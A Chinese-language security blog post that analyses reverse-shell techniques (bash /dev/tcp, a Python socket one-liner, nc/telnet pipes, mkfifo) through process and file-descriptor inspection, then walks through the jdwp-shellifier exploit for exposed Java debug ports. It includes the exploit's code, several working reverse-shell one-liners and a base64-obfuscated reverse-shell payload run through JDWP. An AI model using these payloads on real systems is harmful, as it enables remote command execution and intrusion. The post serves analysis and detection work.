作者:Spoock
來源:https://blog.spoock.com/2019/04/20/jdwp-rce/

說明

前面已經有兩篇文章介紹了有關反彈shell的內容,使用Java反彈shell繞過exec獲取反彈shell。之前的文章主要聚焦如何使用java來反彈shell。網上的各種文章也是將各種反彈shell的一句話的寫法。但是鮮有文章分析不同反彈shell的方式之間的差異性,以及反彈shell之間的進程關聯。

初識

BASH

還是以最為簡單的反彈shell為例來說明情況:

bash -i >& /dev/tcp/ip/port 0>&1

在本例中,我使用8888端口反彈shell 我們使用sslsof查詢信息:

ss -anptw | grep 8888
tcp  ESTAB     0      0               172.16.1.2:56862     ip:8888   users:(("bash",pid=13662,fd=2),("bash",pid=13662,fd=1),("bash",pid=13662,fd=0))

lsof -i:8888
COMMAND   PID    USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
bash    13662 username    0u  IPv4 518699      0t0  TCP dev:56862->ip:8888 (ESTABLISHED)
bash    13662 username    1u  IPv4 518699      0t0  TCP dev:56862->ip:8888 (ESTABLISHED)
bash    13662 username    2u  IPv4 518699      0t0  TCP dev:56862->ip:8888 (ESTABLISHED)

通過分析,確實與ip:8888建立了網絡鏈接,并且文件描述符0/1/2均建立了網絡鏈接。分析下其中的進程關系

ps -ef | grep 13662
username  13662 13645  0 16:56 pts/7    00:00:00 bash -i
username  13645 13332  0 16:55 pts/7    00:00:00 /bin/bash
username  13662 13645  0 16:56 pts/7    00:00:00 bash -i

當前網絡鏈接的進程的PID是13662,進程是bash -i。而父進程是13645,是/bin/bash進程。

Python

Python為例繼續分析:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

使用Python反彈shell的原理和上面bash -i >& /dev/tcp/ip/port 0>&1相同,只不過外面使用了Python封裝了一下。查看信息:

ss -anptw | grep 8888
tcp  ESTAB      0      0               172.16.1.2:59690     IP:8888  users:(("sh",pid=19802,fd=3),("sh",pid=19802,fd=2),("sh",pid=19802,fd=1),("sh",pid=19802,fd=0),("python",pid=19801,fd=3),("python",pid=19801,fd=2),("python",pid=19801,fd=1),("python",pid=19801,fd=0))


lsof -i:8888
COMMAND   PID    USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
python  19801 username    0u  IPv4 593062      0t0  TCP usernamedev:59690->IP:8888 (ESTABLISHED)
python  19801 username    1u  IPv4 593062      0t0  TCP usernamedev:59690->IP:8888 (ESTABLISHED)
python  19801 username    2u  IPv4 593062      0t0  TCP usernamedev:59690->IP:8888 (ESTABLISHED)
python  19801 username    3u  IPv4 593062      0t0  TCP usernamedev:59690->IP:8888 (ESTABLISHED)
sh      19802 username    0u  IPv4 593062      0t0  TCP usernamedev:59690->IP:8888 (ESTABLISHED)
sh      19802 username    1u  IPv4 593062      0t0  TCP usernamedev:59690->IP:8888 (ESTABLISHED)
sh      19802 username    2u  IPv4 593062      0t0  TCP usernamedev:59690->IP:8888 (ESTABLISHED)
sh      19802 username    3u  IPv4 593062      0t0  TCP usernamedev:59690->IP:8888 (ESTABLISHED)

真正進行網絡通信的是進程是PID為19802的Sh進程,其父進程是19801進程。如下:

ps -ef | grep 19802
username  19802 19801  0 19:46 pts/7    00:00:00 /bin/sh -i

ps -ef | grep 19801
username  19801 19638  0 19:46 pts/7    00:00:00 python -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
username  19802 19801  0 19:46 pts/7    00:00:00 /bin/sh -i

所以使用Python反彈shell的原理其實就是使用Python開啟了/bin/sh -i,利用/bin/sh -i完成反彈shell。

Telnet

telnet IP 8888 | /bin/bash | telnet IP 9999

當然上面的寫法還可以換成nc IP 8888 | /bin/bash | nc IP 9999,本質上都是一樣的。以nc IP 8888 | /bin/bash | nc IP 9999為例來進行說明: 這種方式需要在遠程服務器上面監聽88889999端口。分析其中的進程關系:

ss -anptw | grep 8888
tcp  ESTAB     0      0               172.16.1.2:33562     IP:8888   users:(("nc",pid=21613,fd=3))                                                  
 ss -anptw | grep 9999
tcp  ESTAB     0      0               172.16.1.2:35876     IP:9999   users:(("nc",pid=21615,fd=3))  

ps -ef | grep 15166
username  15166  7593  0 17:32 pts/10   00:00:00 zsh
username  21613 15166  0 20:18 pts/10   00:00:00 nc IP 8888
username  21614 15166  0 20:18 pts/10   00:00:00 /bin/bash
username  21615 15166  0 20:18 pts/10   00:00:00 nc IP 9999

可以看到/bin/bash和兩個nc的父進程是相同的,都是zsh進程。 那么 這三個進程之間是如何進行通信的呢?我們來分別看三者之間的fd。

21614

ls -al /proc/21614/fd
dr-x------ 2 username username  0 Apr 10 20:19 .
dr-xr-xr-x 9 username username  0 Apr 10 20:19 ..
lr-x------ 1 username username 64 Apr 10 20:19 0 -> 'pipe:[618298]'
l-wx------ 1 username username 64 Apr 10 20:19 1 -> 'pipe:[618300]'
lrwx------ 1 username username 64 Apr 10 20:19 2 -> /dev/pts/10

21613

ls -al /proc/21613/fd
dr-x------ 2 username username  0 Apr 10 20:19 .
dr-xr-xr-x 9 username username  0 Apr 10 20:19 ..
lrwx------ 1 username username 64 Apr 10 20:19 0 -> /dev/pts/10
l-wx------ 1 username username 64 Apr 10 20:19 1 -> 'pipe:[618298]'
lrwx------ 1 username username 64 Apr 10 20:19 2 -> /dev/pts/10
lrwx------ 1 username username 64 Apr 10 20:19 3 -> 'socket:[617199]'

21615

ls -al /proc/21615/fd
dr-x------ 2 username username  0 Apr 10 20:19 .
dr-xr-xr-x 9 username username  0 Apr 10 20:19 ..
lr-x------ 1 username username 64 Apr 10 20:19 0 -> 'pipe:[618300]'
lrwx------ 1 username username 64 Apr 10 20:19 1 -> /dev/pts/10
lrwx------ 1 username username 64 Apr 10 20:19 2 -> /dev/pts/10
lrwx------ 1 username username 64 Apr 10 20:19 3 -> 'socket:[619628]'

那么這三者之間的關系如下圖所示: img 這樣在IP:8888中輸出命令就能夠在IP:9999中看到輸出。

mkfifo

在介紹mkfifo之前,需要了解一些有關Linux中與管道相關的知識。管道是一種最基本的IPC機制,主要是用于進程間的通信,完成數據傳遞。管道常見的就是平時看到的pipepipe是一種匿名管道,匿名管道只能用于有親系關系的進程間通信,即只能在父進程與子進程或兄弟進程間通信。而通過mkfifo創建的管道是有名管道,有名管道就是用于沒有情緣關系之間的進程通信。

而通信方式又分為:單工通信、半雙工通信、全雙工通信。

  • 單工通信:單工數據傳輸只支持數據在一個方向上傳輸,就和傳呼機一樣。例如信息只能由一方A傳到另一方B,一旦確定傳-輸方和接受方之后,就不能改變了,只能是一方接受數據,另一方發發送數據。
  • 半雙工通信:數據傳輸指數據可以在一個信號載體的兩個方向上傳輸,但是不能同時傳輸。在半雙工模式下,雙方都可以作為數據的發送放和接受方,但是在同一個時刻只能是一方向另一方發送數據。
  • 全雙工通信:通信雙方都能在同一時刻進行發送和接收數據。這種模式就像電話一樣,雙方在聽對方說話的同時自己也可以說話。

通過mkfifo創建的有名管道就是一個半雙工的管道。例如:

mkfifo /tmp/f
ls -al  /tmp/f
prw-r--r-- 1 username username 0 Apr 14 15:30 /tmp/f

通過mkfifo創建了f一個有名管道,可以發現其文件屬性是pp就是表示管道的含義。然后我們分析下使用mkfifo進行反彈shell的用法:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP 8888 > /tmp/f

分析8888端口:

ss -anptw | grep 8888
tcp  ESTAB      0      0               172.16.1.2:32976     IP:8888  users:(("nc",pid=22222,fd=3))

lsof -i:8888
COMMAND   PID    USER   FD   TYPE  DEVICE SIZE/OFF NODE NAME
nc      22222 username    3u  IPv4 2611818      0t0  TCP usernamedev:32976->IP:8888 (ESTABLISHED)

查看進程信息:

ps -ef | grep 22222
username  22222 26233  0 15:48 pts/5    00:00:00 nc IP 8888

ps -ef | grep 26233
username  22220 26233  0 15:48 pts/5    00:00:00 cat /tmp/f
username  22221 26233  0 15:48 pts/5    00:00:00 /bin/sh -i
username  22222 26233  0 15:48 pts/5    00:00:00 nc IP 8888
username  26233  7593  0 Apr12 pts/5    00:00:00 zsh

可以看到cat /tmp/f,/bin/sh -inc IP 8888三者的父進程相同,父進程都是zsh進程。那么cat /tmp/f,/bin/sh -inc IP 8888這三者的關系又是什么樣的呢?

cat /tmp/f

ls -al  /proc/22220/fd
total 0
dr-x------ 2 username username  0 Apr 14 15:48 .
dr-xr-xr-x 9 username username  0 Apr 14 15:48 ..
lrwx------ 1 username username 64 Apr 14 15:48 0 -> /dev/pts/5
l-wx------ 1 username username 64 Apr 14 15:48 1 -> 'pipe:[2609647]'
lrwx------ 1 username username 64 Apr 14 15:48 2 -> /dev/pts/5
lr-x------ 1 username username 64 Apr 14 15:48 3 -> /tmp/f

/bin/sh -i

ls -al  /proc/22221/fd
total 0
dr-x------ 2 username username  0 Apr 14 15:48 .
dr-xr-xr-x 9 username username  0 Apr 14 15:48 ..
lr-x------ 1 username username 64 Apr 14 15:48 0 -> 'pipe:[2609647]'
l-wx------ 1 username username 64 Apr 14 15:48 1 -> 'pipe:[2609649]'
lrwx------ 1 username username 64 Apr 14 15:48 10 -> /dev/tty
l-wx------ 1 username username 64 Apr 14 15:48 2 -> 'pipe:[2609649]'

nc IP 8888

ls -al  /proc/22222/fd
total 0
dr-x------ 2 username username  0 Apr 14 15:48 .
dr-xr-xr-x 9 username username  0 Apr 14 15:48 ..
lr-x------ 1 username username 64 Apr 14 15:48 0 -> 'pipe:[2609649]'
l-wx------ 1 username username 64 Apr 14 15:48 1 -> /tmp/f
lrwx------ 1 username username 64 Apr 14 15:48 2 -> /dev/pts/5
lrwx------ 1 username username 64 Apr 14 15:48 3 -> 'socket:[2611818]'

整個反彈shell的過程其實就是利用了/tmp/f作為進程通信的工具,完成了數據回顯。如何理解上述的過程呢?還是流程圖為例來說明。

img

通過上述的流程圖,可以看到在remote server的輸入通過/tmp/f這個管道符,被/bin/sh當作輸入。/bin/sh執行完命令之后,將結果有發送至nc的標準輸入,最終就會在remote server上面展示最終的命令執行的結果。

小結

上面三種就是常見的反彈shell的方式。三者的利用方式也是越來越復雜,但是也基本上涵蓋了目前常見的反彈shell的利用方式。

  1. bash的方式就是標準輸入和輸出分別重定向到remote server,這種方式最為簡單,檢測方法也很直觀;
  2. python反彈shell的方式也比較的簡單,本質上就是開啟了一個bash,直接在bash中執行反彈shell的命令,和方式1大同小異;
  3. mkfifo是通過管道符傳遞信息,所以文件描述符大部分都是pipe(管道符)。但是在Linux系統中使用管道符是一個非常普遍的情況,而像mkfifo這種使用多個管道符來反彈shell的更加為檢測識別反彈shell增加了難度。

JDWP

其實上述的知識都是為了分析JDWP的反彈shell的鋪墊。 根據JDWP 協議及實現

JDWP 是 Java Debug Wire Protocol 的縮寫,它定義了調試器(debugger)和被調試的 Java 虛擬機(target vm)之間的通信協議。

換句話說,就是JDWP就是JAVA的一個調試協議。本質上我們通過IDEA或者eclipse通過斷點的方式調試JAVA應用時,使用的就是JDWP.之前寫過的Nuxeo RCE漏洞分析中的 第一步Docker遠程調試用的是JDWP.而JDWP的漏洞的危害就如同之前寫過的文章xdebug的攻擊面。因為是調試協議,不可能帶有認證信息,那么對于一個開啟了調試端口的JAVA應用,我們就可能利用JDWP進行調試,最終執行命令。在什么時候會使用到JDWP這種協議呢?比如你在線上跑了一個應用,但是這個問題只有在線上才會出現問題,那么這個時候就必須開啟遠程調試功能了,此時就有可能被攻擊者利用RCE。

JDWP是通過一個簡單的握手完成通信認證。在TCP連接完之后,DEBUG的客戶端就會發送JDWP-Handshake,而服務端同樣會回復JDWP-Handshake.通過抓包分析:

img

JDWP通信解析格式

JDWP通信解析格式如下所示: img

idlength的含義非常簡單。flag字段用于表明是請求包還是返回包,如果flag是0x80就表示一個返回包。CommandSet定義了Command的類別。

  • 0x40,JVM的行為,例如打斷點;
  • 0x40–0x7F,當運行到斷點處,JVM需要進行進一步的操作;
  • 0x80,第三方擴展;

如果我們想執行RCE,以下的幾個方法是尤為需要注意的:

  1. VirtualMachine/IDSizes 確定了能夠被JVM處理的數據包的大小.
  2. ClassType/InvokeMethod 允許你喚起一個靜態函數
  3. ObjectReference/InvokeMethod 、允許你喚起JVM中一個實例化對象的方法;
  4. StackFrame/(Get|Set) 提供了線程堆棧的pushing/popping的功能;
  5. Event/Composite強制JVM執行此命令的行為,此命令是調試需要的密鑰。這個事件能夠要求JVM按照其意愿設置斷點,單步調試,以及類似與像GDB或者WinGDB的方式一樣進行調試。JDWP提供了內置命令來將任意類加載到JVM內存中并調用已經存在和/或新加載的字節碼。

我們以jdwp-shellifier.py為例來說明JDWP的利用方法:

% python ./jdwp-shellifier.py -h
usage: jdwp-shellifier.py [-h] -t IP [-p PORT] [--break-on JAVA_METHOD]
                      [--cmd COMMAND]

Universal exploitation script for JDWP by @_hugsy_

optional arguments:
-h, --help            show this help message and exit
-t IP, --target IP    Remote target IP (default: None)
-p PORT, --port PORT  Remote target port (default: 8000)
--break-on JAVA_METHOD
Specify full path to method to break on (default:
    java.net.ServerSocket.accept)
    --cmd COMMAND         Specify full path to method to break on (default:
        None)

使用python ./jdwp-shellifier.py -t my.target.ip -p 1234嘗試連接開啟了JDWP協議的端口; 使用--cmd執行命令

python ./jdwp-shellifier.py -t my.target.ip -p 1234 --cmd "touch 123.txt"

jdwp-shellifier分析

開啟調試

我們在本機開啟9999的調試端口,java -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=9999 -jar demo.jar

運行jdwp

嘗試連接到本機的9999端口,python2 jdwp-shellifier.py -t 127.0.0.1 -p 9999。默認情況下,會在java.net.ServerSocket.accept()函數加上斷點。

parser = argparse.ArgumentParser(description="Universal exploitation script for JDWP by @_hugsy_",
                                    formatter_class=argparse.ArgumentDefaultsHelpFormatter )

   parser.add_argument("-t", "--target", type=str, metavar="IP", help="Remote target IP", required=True)
   parser.add_argument("-p", "--port", type=int, metavar="PORT", default=8000, help="Remote target port")

   parser.add_argument("--break-on", dest="break_on", type=str, metavar="JAVA_METHOD",
                       default="java.net.ServerSocket.accept", help="Specify full path to method to break on")
   parser.add_argument("--cmd", dest="cmd", type=str, metavar="COMMAND",
                       help="Specify command to execute remotely")

   args = parser.parse_args()

   classname, meth = str2fqclass(args.break_on)
   setattr(args, "break_on_class", classname)
   setattr(args, "break_on_method", meth)
  • break_on_class,'Ljava/net/ServerSocket;'
  • break_on_method,'accept'

之后運行start()方法:

def start(self):
    self.handshake(self.host, self.port)
    self.idsizes()
    self.getversion()
    self.allclasses()
    return

cli = JDWPClient(args.target, args.port)
cli.start()

分析self.handshake(self.host, self.port)的握手協議:

HANDSHAKE                 = "JDWP-Handshake"
def handshake(self, host, port):
    s = socket.socket()
    try:
        s.connect( (host, port) )
    except socket.error as msg:
        raise Exception("Failed to connect: %s" % msg)

    s.send( HANDSHAKE )

    if s.recv( len(HANDSHAKE) ) != HANDSHAKE:
        raise Exception("Failed to handshake")
    else:
        self.socket = s

    return

握手協議很簡單,通過socket發送JDWP-Handshake包。如果相應包也是JDWP-Handshake表示握手成功。

IDSIZES_SIG               = (1, 7)
def idsizes(self):
    self.socket.sendall( self.create_packet(IDSIZES_SIG) )
    buf = self.read_reply()
    formats = [ ("I", "fieldIDSize"), ("I", "methodIDSize"), ("I", "objectIDSize"),
                ("I", "referenceTypeIDSize"), ("I", "frameIDSize") ]
    for entry in self.parse_entries(buf, formats, False):
        for name,value  in entry.iteritems():
            setattr(self, name, value)
    return

通過向服務端發送IDSIZES_SIG = (1, 7)的包,然后利用parse_entries()方法得到一些JDWP的屬性,包括fieldIDSize,methodIDSize等屬性。運行完畢之后得到的屬性如下:

img

之后運行getversion()方法,得到JVM相關的配置信息。

def getversion(self):
    self.socket.sendall( self.create_packet(VERSION_SIG) )
    buf = self.read_reply()
    formats = [ ('S', "description"), ('I', "jdwpMajor"), ('I', "jdwpMinor"),
                ('S', "vmVersion"), ('S', "vmName"), ]
    for entry in self.parse_entries(buf, formats, False):
        for name,value  in entry.iteritems():
            setattr(self, name, value)
    return

img

接下來運行

ALLCLASSES_SIG            = (1, 3)
def allclasses(self):
    try:
        getattr(self, "classes")
    except:
        self.socket.sendall( self.create_packet(ALLCLASSES_SIG) )
        buf = self.read_reply()
        formats = [ ('C', "refTypeTag"),
                    (self.referenceTypeIDSize, "refTypeId"),
                    ('S', "signature"),
                    ('I', "status")]
        self.classes = self.parse_entries(buf, formats)

    return self.classes

通過socket發送ALLCLASSES_SIG = (1, 3)的包,利用parse_entries()解析返回包的數據,得到refTypeTag,refTypeId等信息。以下就是得到所有的結果:

img

runtime_exec

def runtime_exec(jdwp, args):
    print ("[+] Targeting '%s:%d'" % (args.target, args.port))
    print ("[+] Reading settings for '%s'" % jdwp.version)

    # 1. get Runtime class reference
    runtimeClass = jdwp.get_class_by_name("Ljava/lang/Runtime;")
    if runtimeClass is None:
        print ("[-] Cannot find class Runtime")
        return False
    print ("[+] Found Runtime class: id=%x" % runtimeClass["refTypeId"])

    # 2. get getRuntime() meth reference
    jdwp.get_methods(runtimeClass["refTypeId"])
    getRuntimeMeth = jdwp.get_method_by_name("getRuntime")
    if getRuntimeMeth is None:
        print ("[-] Cannot find method Runtime.getRuntime()")
        return False
    print ("[+] Found Runtime.getRuntime(): id=%x" % getRuntimeMeth["methodId"])

    # 3. setup breakpoint on frequently called method
    c = jdwp.get_class_by_name( args.break_on_class )
    if c is None:
        print("[-] Could not access class '%s'" % args.break_on_class)
        print("[-] It is possible that this class is not used by application")
        print("[-] Test with another one with option `--break-on`")
        return False

    jdwp.get_methods( c["refTypeId"] )
    m = jdwp.get_method_by_name( args.break_on_method )
    if m is None:
        print("[-] Could not access method '%s'" % args.break_on)
        return False

    loc = chr( TYPE_CLASS )
    loc+= jdwp.format( jdwp.referenceTypeIDSize, c["refTypeId"] )
    loc+= jdwp.format( jdwp.methodIDSize, m["methodId"] )
    loc+= struct.pack(">II", 0, 0)
    data = [ (MODKIND_LOCATIONONLY, loc), ]
    rId = jdwp.send_event( EVENT_BREAKPOINT, *data )
    print ("[+] Created break event id=%x" % rId)

    # 4. resume vm and wait for event
    jdwp.resumevm()

    print ("[+] Waiting for an event on '%s'" % args.break_on)
    while True:
        buf = jdwp.wait_for_event()
        ret = jdwp.parse_event_breakpoint(buf, rId)
        if ret is not None:
            break

    rId, tId, loc = ret
    print ("[+] Received matching event from thread %#x" % tId)

    jdwp.clear_event(EVENT_BREAKPOINT, rId)

    # 5. Now we can execute any code
    if args.cmd:
        runtime_exec_payload(jdwp, tId, runtimeClass["refTypeId"], getRuntimeMeth["methodId"], args.cmd)
    else:
        # by default, only prints out few system properties
        runtime_exec_info(jdwp, tId)

    jdwp.resumevm()

    print ("[!] Command successfully executed")

    return True

if runtime_exec(cli, args) == False:
    print ("[-] Exploit failed")
    retcode = 1

runtime_exec()此方法類似與Java反彈shell中的利用ivoke的方式得到Runtime對象,然后利用Runtime對象進一步執行命令,從而最終達到RCE。 第一步,得到Runtime

# 1. get Runtime class reference
    runtimeClass = jdwp.get_class_by_name("Ljava/lang/Runtime;")
    if runtimeClass is None:
        print ("[-] Cannot find class Runtime")
        return False
    print ("[+] Found Runtime class: id=%x" % runtimeClass["refTypeId"])

第二步,得到getRuntime()方法

# 2. get getRuntime() meth reference
jdwp.get_methods(runtimeClass["refTypeId"])
getRuntimeMeth = jdwp.get_method_by_name("getRuntime")
if getRuntimeMeth is None:
    print ("[-] Cannot find method Runtime.getRuntime()")
    return False
print ("[+] Found Runtime.getRuntime(): id=%x" % getRuntimeMeth["methodId"])

以上兩步的代碼就類似于Java中的:

Class cls = Class.forName("java.lang.Runtime");
Method m = cls.getMethod("getRuntime");

第三步,得到斷點設置的類和方法

 # 3. setup breakpoint on frequently called method
c = jdwp.get_class_by_name( args.break_on_class )
if c is None:
    print("[-] Could not access class '%s'" % args.break_on_class)
    print("[-] It is possible that this class is not used by application")
    print("[-] Test with another one with option `--break-on`")
    return False

jdwp.get_methods( c["refTypeId"] )
m = jdwp.get_method_by_name( args.break_on_method )
if m is None:
    print("[-] Could not access method '%s'" % args.break_on)
    return False

在默認情況下,cLjava/net/ServerSocket;,maccept

img

第四步,向JVM發生數據,表示需要ServerSocket.accept()在下斷點

loc = chr( TYPE_CLASS )
loc+= jdwp.format( jdwp.referenceTypeIDSize, c["refTypeId"] )
loc+= jdwp.format( jdwp.methodIDSize, m["methodId"] )
loc+= struct.pack(">II", 0, 0)
data = [ (MODKIND_LOCATIONONLY, loc), ]
rId = jdwp.send_event( EVENT_BREAKPOINT, *data )

第五步,等待程序運行至斷點處,運行完畢之后清除斷點。

# 4. resume vm and wait for event
jdwp.resumevm()

print ("[+] Waiting for an event on '%s'" % args.break_on)
while True:
    buf = jdwp.wait_for_event()
    ret = jdwp.parse_event_breakpoint(buf, rId)
    if ret is not None:
        break

rId, tId, loc = ret
print ("[+] Received matching event from thread %#x" % tId)

jdwp.clear_event(EVENT_BREAKPOINT, rId)

第六步,執行自定義的命令

def runtime_exec_payload(jdwp, threadId, runtimeClassId, getRuntimeMethId, command):
    #
    # This function will invoke command as a payload, which will be running
    # with JVM privilege on host (intrusive).
    #
    print ("[+] Selected payload '%s'" % command)

    # 1. allocating string containing our command to exec()
    cmdObjIds = jdwp.createstring( command )
    if len(cmdObjIds) == 0:
        print ("[-] Failed to allocate command")
        return False
    cmdObjId = cmdObjIds[0]["objId"]
    print ("[+] Command string object created id:%x" % cmdObjId)

    # 2. use context to get Runtime object
    buf = jdwp.invokestatic(runtimeClassId, threadId, getRuntimeMethId)
    if buf[0] != chr(TAG_OBJECT):
        print ("[-] Unexpected returned type: expecting Object")
        return False
    rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize])

    if rt is None:
        print "[-] Failed to invoke Runtime.getRuntime()"
        return False
    print ("[+] Runtime.getRuntime() returned context id:%#x" % rt)

    # 3. find exec() method
    execMeth = jdwp.get_method_by_name("exec")
    if execMeth is None:
        print ("[-] Cannot find method Runtime.exec()")
        return False
    print ("[+] found Runtime.exec(): id=%x" % execMeth["methodId"])

    # 4. call exec() in this context with the alloc-ed  
    data = [ chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, cmdObjId) ]
    buf = jdwp.invoke(rt, threadId, runtimeClassId, execMeth["methodId"], *data)
    if buf[0] != chr(TAG_OBJECT):
        print ("[-] Unexpected returned type: expecting Object")
        return False
    print(buf)
    retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize])
    print ("[+] Runtime.exec() successful, retId=%x" % retId)

    return True

# 5. Now we can execute any code
    if args.cmd:
        runtime_exec_payload(jdwp, tId, runtimeClass["refTypeId"], getRuntimeMeth["methodId"], args.cmd)
    else:
        # by default, only prints out few system properties
        runtime_exec_info(jdwp, tId)

    jdwp.resumevm()

在中最關鍵的就是:

data = [ chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, cmdObjId) ] # 得到需要執行的反復噶
buf = jdwp.invoke(rt, threadId, runtimeClassId, execMeth["methodId"], *data)  #利用Runtime.getRuntime().exec()執行。

上面的代碼就等價于Java中的:

Class cls = Class.forName("java.lang.Runtime");
Method m = cls.getMethod("getRuntime");
Method exec = cls.getMethod("exec", String.class);
// 執行getRuntime()方法,等價于 Object o = Runtime.getRuntime();
Object o = m.invoke(cls,null);
// 執行exec方法,等價于 Runtime.getRuntime().exec(command)
exec.invoke(o,command);

以上就是整個執行流程。

反彈shell

demo.jar是一個springboot的程序,核心邏輯如下:

public class DemoApplication {

    public static void main(String[] args) {
        SpringApplication.run(DemoApplication.class, args);
    }

    @RequestMapping(path = {"/","/index"}, method = {RequestMethod.GET})
    public String index(Model model) throws Exception {
        int result = "12345".indexOf(0);
        System.out.println(result);
        return "index";
    }
}

那么我們就可以嘗試通過如下的方式進行反彈shell。

python jdwp-shellifier.py -t 127.0.0.1 -p 9999 --break-on 'java.lang.String.indexOf' --cmd 'touch exploit.txt'

結果輸出的結果如下:

python jdwp-shellifier.py -t 127.0.0.1 -p 9999 --break-on 'java.lang.String.indexOf' --cmd 'touch exploit.txt'
[+] Targeting '127.0.0.1:9999'
[+] Reading settings for 'OpenJDK 64-Bit Server VM - 1.8.0_191'
[+] Found Runtime class: id=150e
[+] Found Runtime.getRuntime(): id=7ff960045930
[+] Created break event id=2
[+] Waiting for an event on 'java.lang.String.indexOf'
[+] Received matching event from thread 0x15fa
[+] Selected payload 'touch exploit.txt'
[+] Command string object created id:15fb
[+] Runtime.getRuntime() returned context id:0x15fc
[+] found Runtime.exec(): id=7ff960011e10
[+] Runtime.exec() successful, retId=15fd
[!] Command successfully executed

demo.jar的統計目錄下查看文件:

drwxrwxr-x 2 username username     4096 Apr 18 13:47 .
drwxrwxr-x 8 username username     4096 Apr  7 20:39 ..
-rw-rw-r-- 1 username username 16726504 Apr 16 20:41 demo.jar
-rw-r--r-- 1 username username        0 Apr 18 13:47 exploit.txt

說明成功執行了cmd參數中的命令,那么我們有如何反彈shell呢?我們按照常規的反彈shell的思路,python jdwp-shellifier.py -t 127.0.0.1 -p 9999 --break-on 'java.lang.String.indexOf' --cmd '/bin/bash -i >& /dev/tcp/127.0.0.1/12345 0>&1',最終的運行結果如下:

python jdwp-shellifier.py -t 127.0.0.1 -p 9999 --break-on 'java.lang.String.indexOf' --cmd '/bin/bash -i >& /dev/tcp/127.0.0.1/12345 0>&1'
[+] Targeting '127.0.0.1:9999'
[+] Reading settings for 'OpenJDK 64-Bit Server VM - 1.8.0_191'
[+] Found Runtime class: id=1645
[+] Found Runtime.getRuntime(): id=7ff960045930
[+] Created break event id=2
[+] Waiting for an event on 'java.lang.String.indexOf'
[+] Received matching event from thread 0x1731
[+] Selected payload '/bin/bash -i >& /dev/tcp/127.0.0.1/12345 0>&1'
[+] Command string object created id:1732
[+] Runtime.getRuntime() returned context id:0x1733
[+] found Runtime.exec(): id=7ff960011e10
[+] Runtime.exec() successful, retId=1734
[!] Command successfully executed

雖然執行結果顯示成功執行,但是實際上反彈shell并沒有成功。原因其實在之前的文章這種方式是無法反彈shell的。而在本例中剛好利用的是execMeth = jdwp.get_method_by_name("exec"),得到就是public Process exec(String command)這個exec(),所以就無法反彈shell。那么按照我文章提供的種種思路,都是可以成功實現反彈shell的,我們還是通過最為簡單的方式

最終我們使用如下的python jdwp-shellifier.py -t 127.0.0.1 -p 9999 --break-on 'java.lang.String.indexOf' --cmd 'bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS8xMjM0NSAwPiYx}|{base64,-d}|{bash,-i}' 最終我們得到的結果就是:

python jdwp-shellifier.py -t 127.0.0.1 -p 9999 --break-on 'java.lang.String.indexOf' --cmd 'bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS8xMjM0NSAwPiYx}|{base64,-d}|{bash,-i}'
[+] Targeting '127.0.0.1:9999'
[+] Reading settings for 'OpenJDK 64-Bit Server VM - 1.8.0_191'
[+] Found Runtime class: id=1511
[+] Found Runtime.getRuntime(): id=7f2bb8046360
[+] Created break event id=2
[+] Waiting for an event on 'java.lang.String.indexOf'
[+] Received matching event from thread 0x15fd
[+] Selected payload 'bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS8xMjM0NSAwPiYx}|{base64,-d}|{bash,-i}'
[+] Command string object created id:15fe
[+] Runtime.getRuntime() returned context id:0x15ff
[+] found Runtime.exec(): id=7f2bb8010410
[+] Runtime.exec() successful, retId=1600
[!] Command successfully executed

最終成功地觸發了反彈shell。

JDWP反彈流程

上面是從jdwp-shellifier的源代碼上面對利用進行了分析,那么我們還是來分析一下在exploit過程中的端口和進程的變化。 在indexOf加上斷點:

(jdwp-rce/ss -anptw | grep 9999
tcp  LISTEN     0      1                  0.0.0.0:9999             0.0.0.0:*     users:(("java",pid=9822,fd=4))                                                 
tcp  TIME-WAIT  0      0                127.0.0.1:50644          127.0.0.1:9999                                                                                 
 (jdwp-rce/ss -anptw | grep 9999
tcp  ESTAB     0      0                127.0.0.1:9999           127.0.0.1:50670  users:(("java",pid=9822,fd=5))                                                 
tcp  ESTAB     0      0                127.0.0.1:50670          127.0.0.1:9999   users:(("python",pid=9978,fd=3))                                               
 (jdwp-rce/lsof -i:9999
COMMAND  PID    USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
java    9822 username    5u  IPv4 366738      0t0  TCP localhost:9999->localhost:50670 (ESTABLISHED)
python  9978 username    3u  IPv4 366868      0t0  TCP localhost:50670->localhost:9999 (ESTABLISHED)

此時是Pythonjava進行通信。而此時的12345端口只有nc的監聽端口。

(jdwp-rce/ss -anptw | grep 12345
tcp  LISTEN    0      1                  0.0.0.0:12345            0.0.0.0:*      users:(("nc",pid=9977,fd=3))

此時執行訪問localhost:8888,觸發indexOf()方法的執行。此時觀察:

(jdwp-rce/ss -anptw | grep 12345
tcp  LISTEN     0      1                  0.0.0.0:12345            0.0.0.0:*     users:(("nc",pid=9977,fd=3))                                                   
tcp  ESTAB      0      0                127.0.0.1:12345          127.0.0.1:51406 users:(("nc",pid=9977,fd=4))                                                   
tcp  ESTAB      0      0                127.0.0.1:51406          127.0.0.1:12345 users:(("bash",pid=10120,fd=2),("bash",pid=10120,fd=1),("bash",pid=10120,fd=0))
 (jdwp-rce/lsof -i:12345
COMMAND   PID    USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
nc       9977 username    3u  IPv4 363961      0t0  TCP *:12345 (LISTEN)
